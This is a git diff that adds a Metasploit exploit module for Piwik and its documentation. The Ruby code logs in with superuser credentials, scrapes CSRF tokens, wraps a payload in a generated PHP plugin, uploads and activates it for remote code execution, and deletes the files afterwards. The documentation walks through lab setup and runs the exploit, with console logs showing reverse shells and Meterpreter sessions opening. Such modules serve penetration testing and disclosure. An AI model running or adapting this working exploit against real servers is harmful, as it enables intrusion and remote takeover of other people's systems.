diff --git a/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md b/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md new file mode 100644 index 0000000000..83a9b25791 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md @@ -0,0 +1,226 @@ +## Vulnerable Application + +Piwik can be downloaded from the official site [piwik.org](https://piwik.org). +Older builds are also available from [builds.piwik.org](https://builds.piwik.org/). + +This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1 + +## Verification Steps + +### Install Piwik (Debian/Ubuntu) +1. Install dependencies + + ``` + sudo apt install apache2 php5 php5-mysql \ + libapache2-mod-php5 mariadb-server unzip php5-gd php5-curl + ``` +2. Download latest version of piwik (or the version of your choice from [builds.piwik.org](https://builds.piwik.org/)) + + ``` + wget https://builds.piwik.org/piwik.zip + ``` + +3. Unzip Piwik into webroot + + ``` + unzip -d /var/www/html/ piwik.zip + ``` + +4. Make the webserver user the owner of piwik + + ``` + chown -R www-data:www-data /var/www/html/ + ``` + +5. Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional). +This example assumes your MySQL root password is **password** + + ``` + mysql -u root -ppassword -e "CREATE DATABASE piwik;" + mysql -u root -ppassword -e "CREATE USER piwik@localhost;" + mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');" + mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;" + mysql -u root -ppassword -e "FLUSH PRIVILEGES;" + ``` + +6. Add a config setting to PHP to stop piwik complaining about it + + ``` + echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.ini + ``` + +7. Finally restart Apache HTTPD + + ``` + service apache2 restart + ``` + +### Pwn Piwik +1. Install the application (see installation steps above) +2. Start msfconsole +3. Do: ```use [module path]``` +4. Do: ```set RHOST [Domain/IP]``` +5. Do: ```set RPORT [Port]``` +6. Do: ```set TARGETURI [installation directory]``` +7. Do: ```set SSL [True/False]``` +8. Do: ```set USERNAME [valid Piwik superuser credentials]``` +9. Do: ```set PASSWORD [valid Piwik superuser credentials]``` +10. Do: ```run``` +11. You should get a shell. + +## Options + +**TARGETURI** + +Path of the Piwik installation. + +**USERNAME** + +Valid username for a Piwik superuser account. + +**PASSWORD** + +Valid password for a Piwik superuser account. + +## Scenarios + +### Run with a installation of Piwik 3.0.1 + +``` +msf > use exploit/unix/webapp/piwik_superuser_plugin_upload +msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik/ +TARGETURI => /piwik/ +msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.56.2 +RHOST => 192.168.56.2 +msf exploit(piwik_superuser_plugin_upload) > set username firefart +username => firefart +msf exploit(piwik_superuser_plugin_upload) > set password firefart +password => firefart +msf exploit(piwik_superuser_plugin_upload) > options + +Module options (exploit/unix/webapp/piwik_superuser_plugin_upload): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD firefart yes The Piwik password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.56.2 yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /piwik/ yes The URI path of the Piwik installation + USERNAME firefart yes The Piwik username to authenticate with + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 Piwik + +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 3.0.1 +[*] Checking if Marketplace plugin is active +[+] Seems like the Marketplace plugin is already enabled +[*] Generating plugin +[+] Plugin SDsiXxPMgt generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.2:43169) at 2017-02-13 23:03:29 +0100 +[+] Deleted plugins/SDsiXxPMgt/plugin.json +[+] Deleted plugins/SDsiXxPMgt/SDsiXxPMgt.php + +meterpreter > sysinfo +Computer : web +OS : Linux web 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64 +Meterpreter : php/linux +``` + +### Run against Piwik 2.x + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 2.14.0 +[*] Generating plugin +[+] Plugin zZETuwYkzB generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.2:43182) at 2017-02-13 23:05:27 +0100 +[+] Deleted plugins/zZETuwYkzB/plugin.json +[+] Deleted plugins/zZETuwYkzB/zZETuwYkzB.php +``` + +### Sample output of running with invalid credentials + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:test... +[-] Exploit aborted due to failure: no-access: Failed to authenticate with Piwik +[*] Exploit completed, but no session was created. +``` + +### Sample output of running with non superuser user + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using test:firefart... +[+] Authenticated with Piwik +[*] Checking if user test has superuser access +[-] Exploit aborted due to failure: no-access: Looks like user test has no superuser access +[*] Exploit completed, but no session was created. +``` + +### Sample output of Piwik 3.x with disabled Marketplace plugin + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 3.0.1 +[*] Checking if Marketplace plugin is active +[*] Marketplace plugin is not enabled, trying to enable it +[+] Marketplace plugin enabled +[*] Generating plugin +[+] Plugin TuwgJygjEu generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.2:43246) at 2017-02-13 23:08:36 +0100 +[+] Deleted plugins/TuwgJygjEu/plugin.json +[+] Deleted plugins/TuwgJygjEu/TuwgJygjEu.php +``` diff --git a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb new file mode 100644 index 0000000000..3d0f212400 --- /dev/null +++ b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb @@ -0,0 +1,365 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Piwik Superuser Plugin Upload', + 'Description' => %q{ + This module will generate a plugin, pack the payload into it + and upload it to a server running Piwik. Superuser Credentials are + required to run this module. This module does not work against Piwik 1 + as there is no option to upload custom plugins. + Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FireFart' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ] + ], + 'DisclosureDate' => 'Feb 05 2017', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Piwik', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']), + OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']), + OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with']) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def normalized_index + normalize_uri(target_uri, 'index.php') + end + + def get_piwik_version(login_cookies) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Feedback', + 'action' => 'index', + 'idSite' => '1', + 'period' => 'day', + 'date' => 'yesterday' + } + }) + + piwik_version_regexes = [ + /About Piwik ([\w\.]+) -/, + /content-title="About Piwik ([\w\.]+)"/, + /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m + ] + + if res && res.code == 200 + for r in piwik_version_regexes + match = res.body.match(r) + if match + return match[1] + end + end + end + + # check for Piwik version 1 + # the logo.svg is only available in version 1 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') + }) + if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/ + return "1.x" + end + + nil + end + + def is_superuser?(login_cookies) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Installation', + 'action' => 'systemCheckPage' + } + }) + + if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ + return false + elsif res && res.body =~ /id="systemCheckRequired"/ + return true + else + return false + end + end + + def generate_plugin(plugin_name) + plugin_json = %Q|{ + "name": "#{plugin_name}", + "description": "#{plugin_name}", + "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", + "theme": false + }| + + plugin_script = %Q|<?php + namespace Piwik\\Plugins\\#{plugin_name}; + class #{plugin_name} extends \\Piwik\\Plugin { + public function install() + { + #{payload.encoded} + } + } + | + + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) + zip.add_file("#{plugin_name}/plugin.json", plugin_json) + zip.pack + end + + def exploit + print_status('Trying to detect if target is running a supported version of piwik') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index + }) + if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/ + print_good('Detected Piwik installation') + else + fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik') + end + + print_status("Authenticating with Piwik using #{username}:#{password}...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + } + }) + + login_nonce = nil + if res && res.code == 200 + match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/) + if match + login_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil? + + cookies = res.get_cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + }, + 'vars_post' => { + 'form_login' => "#{username}", + 'form_password' => "#{password}", + 'form_nonce' => "#{login_nonce}" + } + }) + + if res && res.redirect? && res.redirection + # update cookies + cookies = res.get_cookies + else + # failed login responds with code 200 and renders the login form + fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik') + end + print_good('Authenticated with Piwik') + + print_status("Checking if user #{username} has superuser access") + superuser = is_superuser?(cookies) + if superuser + print_good("User #{username} has superuser access") + else + fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access") + end + + print_status('Trying to get Piwik version') + piwik_version = get_piwik_version(cookies) + if piwik_version.nil? + print_warning('Unable to detect Piwik version. Trying to continue.') + else + print_good("Detected Piwik version #{piwik_version}") + end + + if piwik_version == '1.x' + fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module') + end + + # Only versions after 3 have a seperate Marketplace plugin + if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3') + marketplace_available = true + else + marketplace_available = false + end + + if marketplace_available + print_status("Checking if Marketplace plugin is active") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'index' + } + }) + fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res + if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/ + print_status('Marketplace plugin is not enabled, trying to enable it') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'plugins' + } + }) + mp_activate_nonce = nil + if res && res.code == 200 + match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/) + if match + mp_activate_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'pluginName' => 'Marketplace', + 'nonce' => "#{mp_activate_nonce}" + } + }) + if res && res.redirect? + print_good('Marketplace plugin enabled') + else + fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.') + end + else + print_good('Seems like the Marketplace plugin is already enabled') + end + end + + print_status('Generating plugin') + plugin_name = Rex::Text.rand_text_alpha(10) + zip = generate_plugin(plugin_name) + print_good("Plugin #{plugin_name} generated") + + print_status('Uploading plugin') + + # newer Piwik versions have a seperate Marketplace plugin + if marketplace_available + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'overview' + } + }) + else + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'marketplace' + } + }) + end + + upload_nonce = nil + if res && res.code == 200 + match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m) + if match + upload_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil? + + # plugin files to delete after getting our session + register_files_for_cleanup("plugins/#{plugin_name}/plugin.json") + register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php") + + data = Rex::MIME::Message.new + data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalized_index, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'uploadPlugin', + 'nonce' => "#{upload_nonce}" + } + ) + activate_nonce = nil + if res && res.code == 200 + match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/) + if match + activate_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil? + + print_status('Activating plugin and triggering payload') + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'nonce' => "#{activate_nonce}", + 'pluginName' => "#{plugin_name}" + } + }, 5) + end +end +